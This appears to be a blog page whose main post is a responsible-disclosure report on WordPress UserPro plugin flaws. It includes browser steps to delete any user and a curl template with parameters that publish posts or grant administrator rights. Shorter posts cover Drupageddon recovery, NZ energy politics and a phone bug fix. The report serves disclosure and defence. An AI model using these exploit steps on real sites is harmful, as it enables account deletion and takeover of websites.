Security vulnerabilities in UserPro plugin for WordPress

UserPro plugin for WordPress versions up to 2.28 have multiple security vulnerabilities that expose the website they are installed on to a wide scope of attack vectors. The plugin has 27 occurrences a procedure call that is extremely insecure (extract($_POST)) and a futher 57 probably insecure uses of extract().

Upon discovering these security vulnerabilies I reported them to Envato, who sells the plugin on behalf of the author on I gave Envato a three month deadline for responsible disclosure. Envato promptly took the plugin off their store and contacted the author. The author promptly fixed all the known vulnerabilities and released a new secure version.

I have not reviewed the newest version. I did review a work in progress and was happy with the author’s progress and improvements.

The report that I sent to to Envato follows.

Want a security audit or review of your own website or code?

This report documents multiple security vulnerabilities in the UserPro plugin for WordPress.

The scope of attack vectors is extremely wide. The plugin has 27 occurrences a procedure call that is certainly extremely insecure (extract($_POST)). It has a futher 57 uses of extract(), many of which look to be approximately equally dangerous after a quick review.

For this report, only one instance of extract($_POST) was investigated more thoroughly; userpro_process_form(). That occurrence alone has an extremely wide scope of attack vectors involving 500+ lines of code.

This report documents just three specific reproducible exploits that allow an untrusted user to:

  1. Delete any user
  2. Publish a post, specifying the title, body and any author
  3. Make themselves an administrator

However there are so many ways to exploit UserPro plugin that it is probably not possible to document them all. In order to be secured, a large portion (at least) of the plugin would need rewriting.


Most (if not all) WordPress websites that have installed, activated and configured (in the common/usual way) the UserPro module are probably vulnerable. According to the plugin’s main distribution page as of 25 March 2015, it has been sold 8,292 times, and 8,753 times on 1 May 2015.

Of these sales, some licences are probably used for multiple websites (even though the license is only for one website). Other licenses may not be in use any longer.

A reasonable estimate of the vulnerable websites might be five to fifteen thousand.

Responsible disclosure

In the best interests of the security of WordPress website users and owners, this report will be published publicly if a fix is not available by 24 June. That is three months after the vulnerabilities were reported. This is consistent with two-way responsible disclosure.

The vulnerabilities were discovered and researched by Bevan Rudge. The exploits, this report and the accompanying patch were also developed by Bevan Rudge.

The author of UserPro plugin is Deluxe Themes: Deluxe Themes has no public security policy of its own.

WordPress has a procedure for reporting security vulnerabilities in WordPress plugins. As per that policy, was notified on Tuesday 24 March of these vulnerabilities (without detail). However because that team only has capacity to deal with WordPress plugins hosted on, it was referred on to Envato.

The UserPro plugin is sold on the codecanyon Envato Market. Envato has a procedure for reporting security vulnerabilities of products it sells, called the Helpful Hacker Program.

These vulnerabilities were reported (without detail initially) to Envato’s Helpful Hacker Program on Wednesday 25 March.

Dates are NZDT, UTC+13.

Delete any user

This exploit requires only basic knowledge of how forms work on the internet, and how to use a web browser’s web dev tools to modify them.

  1. Register two new users that are not administrators; “Andy Attacker” and “Vicky Victim”.
  2. Note Vicky’s user ID.
  3. Install and activate the “UserPro” plugin.
  4. Create a page “UserPro profile/login” with shortcode “[userpro template=view]” and note its URL.
  5. Login as “Andy Attacker”.
  6. Navigate to the “UserPro profile/login” page.
  7. Press “Delete Profile”.
  8. Use browser tools to find element like <input type="hidden" name="user_id-N" id="user_id-N" value="ID">.
  9. Change the value="" attribute to the Vicky’s user ID.
  10. Press “Yes, delete this profile!”.
  11. Press “Confirm Deletion”.
    • Expected behavior: A generic validation error.
    • Actual behavior: A message “This account has been deleted successfully” is briefly displayed then the browser is redirected to the homepage.
  12. Press the browser’s “back” button.
  13. Press the browser’s “reload” button.
    • Expected behaviour: User is not logged in.
    • Actual behaviour: User is still logged in as Andy.
  14. Login as Admin.
  15. Navigate to “All Users”
    • Expected behaviour: “Vicky Victim” should be a user. “Andy Attacker” should not be a user.
    • Actual behaviour: “Vicky Victim” is not a user. “Andy Attacker” is a user.

cURL exploits

The other two exploits are more elaborate and would be difficult to reproduce manually in a web browser.

As in the “Delete any user” exploit, these validate the security nonce for the user “delete” action (known as $template in code). Unlike the “Delete any user” exploit, they manipulate the vulnerable UserPro code into taking a different action instead of deleting a user.

cURL template

Both exploits use this template for a curl command:

curl "http://${HOST}/wp-admin/admin-ajax.php" -H "Cookie: wordpress_logged_in_${HASH}=${COOKIE}" --data "action=userpro_process_form&_myuserpro_nonce=${NONCE}&unique_id=${ID}&template=delete&template-9=${ACTION}&${DATA}"

Note that template-9 can actually be called anything matching regex template-.+.

Note the lack of wordpress_HASH and PHPSESSID cookies. This may or may not be a security issue. If it is, it may or may not be related. This report did not investigate that.

Template variables

  • HOST: The hostname of the website to be exploited.
  • HASH: The has component of the wordpress_logged_in_* cookie.
  • COOKIE: The value of that cookie, for any logged in user, such as “Andy Attacker”.
  • NONCE and ID: The nonce and unique ID can be retrieved from the delete form (as in the “Delete any user” exploit) for the logged in user. The names are _myuserpro_nonce and unique_id respectively.
  • ACTION: provided by each exploit’s example code below. See below.
  • DATA: Form data, provided by each exploit’s example code below.

Values for HASH, COOKIE, NONCE and ID can all be retrieved from cookies and the form on the “UserPro profile/login” > “Delete” page for any logged in user.

Exploitable values for ACTION are:

  • publish
  • delete
  • change
  • reset
  • login
  • edit
  • register

Publish new content

  • ACTION: publish
  • DATA: user_id=1&post_title=Hacked&userpro_editor=This post was created by a user without content creation priveleges.

Afterwards, a new post “Hacked” with content “This post was created by a user without content creation priveleges.” can be seen at /wp-admin/edit.php (Admin > “Posts”).

All variables in DATA can be set to any value that would normally validate. Additional variables are also supported.

Role escalation

  • ACTION: edit
  • DATA: user_id=${UID}&role=administrator

Afterwards, the specified user is an administrator.

UID must be set to the user ID corresponding to the nonce and cookie. Additional variables are also supported.


The steps above show just some of many possible exploits of UserPro plugin. These three examples all exploit function userpro_process_form(). There are many other exploitable vectors. Only userpro_process_form() is investigated and explained in this report.

userpro_process_form() is hooked to the wp_ajax_nopriv_userpro_process_form and wp_ajax_userpro_process_form actions. It checks a nonce to prevent some very basic exploits, then executes the following dangerous code (reformatted):

foreach ($_POST as $key => $val) {
    $key = explode('-', $key);
    $key = $key[0];
    $form[$key] = $val;

This causes all posted values to become local variables in the userpro_process_form() function. For example, using the cURL template with DATA of a=b&c=d&c-3=e is equivalent to $a = 'b'; $c = 'd'; when the first extract() executes, then $a = 'b'; $c = 'e'; when the second extract executes.

Extracting untrusted data is explicitly warned against in the PHP documentation for extract():

Warning: Do not use extract() on untrusted data, like user input (i.e. $_GET, $_FILES, etc.). If you do, for example if you want to run old code that relies on register_globals temporarily, make sure you use one of the non-overwriting flags values such as EXTR_SKIP and be aware that you should extract in the same order that’s defined in variables_order within the php.ini.

To make matters worse;

  • This code extracts the untrusted data twice, allowing attackers to pass security validation, while subsequently still manipulating all variables in scope.
  • The global variable $userpro can be overwritten.
  • Arrays can be specified using the cURL template with data like my_array[key1]=value1&my_array[key2]=value2
  • $form can be overwritten completely. E.g. form[key1]=value1&form[key2]=value2
  • Superglobals like $_POST and $_SERVER can probably be overwritten.
  • The function is more than 500 lines long, meaning that the affected scope has a very wide range of possible effects. (Multiple smaller functions would help to limit the severity of the vulnerability be reducing the amount of code using the spoilt scope.)

A quick review of some of the other 82 uses of extract() in UserPro plugin suggests there are dozens of similarly-dangerous uses of extract().

Distinct vulnerabilities

The “Delete any user” exploit is technically a distinct security vulnerability, separate from the dangerous extract() calls and the other two example exploits. It could be addressed independently of the dangerous calls to extract().

Specifically, get_userdata($user_id) is equivalent of get_userdata($_POST['user_id']). So the solution could be to use global $current_user instead, and remove the user_id from the form.

However all vulnerabilities discussed in this report should be solved together to minimize fallout from any announcement or security release, since publication of either vulnerability makes all of the others easy to discover.

Your Drupal website has a backdoor

I estimate hundreds of thousands of Drupal websites now have backdoors; between ten and ninety percent of all Drupal websites. Automated Drupageddon exploits were in the wild within hours of the announcement. Updating or patching Drupal does not fix backdoors that attackers installed before updating or patching Drupal. Backdoors give attackers admin access and allow arbitrary PHP execution.

If your Drupal 7 (and 8) website is not updated or patched it is most likely compromised. If your website was not updated within a day of the announcement, it is probably compromised. Even if your website was updated within a day, it may be compromised.

If you did not know, Drupageddon is the highly critical SQL injection vulnerability in Drupal core announced 15 October. It is also known as Drupalgeddon (with an "L"), CVE-2014-3704, Drupal SA core 2014 005 and #DrupalSA05. Drupageddon (no "L") is the original name selected by Stefan Horst, who initially reported to the Drupal security team. See

I have drafted this flowchart to help Drupal website administrators understand their options for recovering from Drupageddon. Review, feedback and collaboration is welcome.

The flowchart is a living document. Currently version is number 7.


How to fix a Drupal site compromised by Drupageddon

Creative Commons License

How to fix a Drupal site from Drupageddon, second draft.png399.63 KB
How to fix a Drupal site from Drupageddon, draft 3.png470.95 KB
How to recover from Drupageddon, draft 4.png581.75 KB
How to recover from Drupageddon, transparent draft 5.png542.35 KB
How to recover from Drupageddon, draft 6.png643.95 KB
How to recover from Drupageddon, draft 7.png651.82 KB
How to recover from Drupageddon, version 8.png634.21 KB
How to recover from Drupageddon, version 9.png639.57 KB

This is not a drill: Update Drupal 7 NOW

Half of a client's Drupal 7 sites were compromised over the weekend.

If you did not update your Drupal 7 website by about Friday, your site was probably hacked too: Update to Drupal 7.32 or apply the patch manually updating is not trivial.

After that, you will need to review your site's administrator users, permissions, logs and content for unexpected users, roles, permissions, content and and scripts.

Follow or join the conversation in #drupalsa05 for more detail about known exploits and how to repair your hacked site.

Nuclear energy policies of NZ political parties

Most kiwis are, unfortunately, too proud of New Zealand's traditional anti-nuclear political stance to keep an open mind on the topic. Media and politics promote the idea that the rest of the world is "impressed" by our political stance. (My impression is that the rest of the world actually thinks our policy is stupid.)

Kiwis are so proud of our nuclear stance, that it would probably be political suicide for a politician or political party to say "lets build nuclear power stations" or even just "lets revisit bans on nuclear ships".

None of the three highest polling parties have published a policy on nuclear energy. None of their energy policies even mention "nuclear".

(All policies focus on renewable energy. National and Labour both have policies for 90% renewable energy by 2025. Greens' policy is 100% by 2030.)

Whether the lack of "nuclear" is because they are afraid of loss of support if they announced anything concieved as pro-nuclear, because they truly believe a ban on nuclear energy is best, or they simply failed to form or document a policy on it, is up for conjecture.

But the fact that nuclear is not even mentioned in any of those policy documents suggests to me that it is probably the fear of backlash. Although I have heard from multiple sources that New Zealand's energy consumption is too low to justify the cost of nuclear energy.

Of course, nuclear policies are of minor significance in the face of climate change as a whole.

How to be a climate voter in the NZ general elections

In the face of climate change, nothing else is of much significance. NZ 2014 general elections are an opportune time to start reversing humanity's destruction of this planet we call home.

But understanding how to be a "climate voter" can be a challenge. Is it really as simple as voting for the Green party? Lets take a look.

To evaluate which party is most aligned with your own beliefs and priorities, nothing beats reading party policies. Each party provides summaries and highlights of their policies on their websites in easy to read formats.

The three highest polling political parties also publish PDF documents with more detail:

On climate change, National dedicates a single page to "Climate change" in their "Environment" policy. Labour has an 8-page "Climate Change" policy that looks like it was slapped together in a hurry.

Meanwhile the Green party has a 20-page "Climate protection plan" of academic quality and references to data sources. They also have a video of the summary in New Zealand Sign Language.

Enjoy reading!

"Unfortunately, contacts has stopped" on Samsung Galaxy S3

I have not been able to use the dialer/keypad or log/history in the Phone app on my Samsang Galaxy S3 since an Android upgrade about four months ago. Whenever I opened them I would get the message "Unfortunately, contacts has stopped". And in order to dial numbers I would have to save them as a contact first.

It is a bug in Android that causes certain configurations to have no valid date format, which in turn causes Contacts app to crash this bug. The workaround solution is so trivial, it is embarrassing for Samsung and Google that they have not fixed this bug yet;

  1. Open settings
  2. "More"
  3. "Date and time"
  4. "Select date format"
  5. Select any option, other than the existing option (if there is one)

I hope this blog post helps more people find the solution more quickly than I did. (I found the solution on Android Central.)

Syndicate content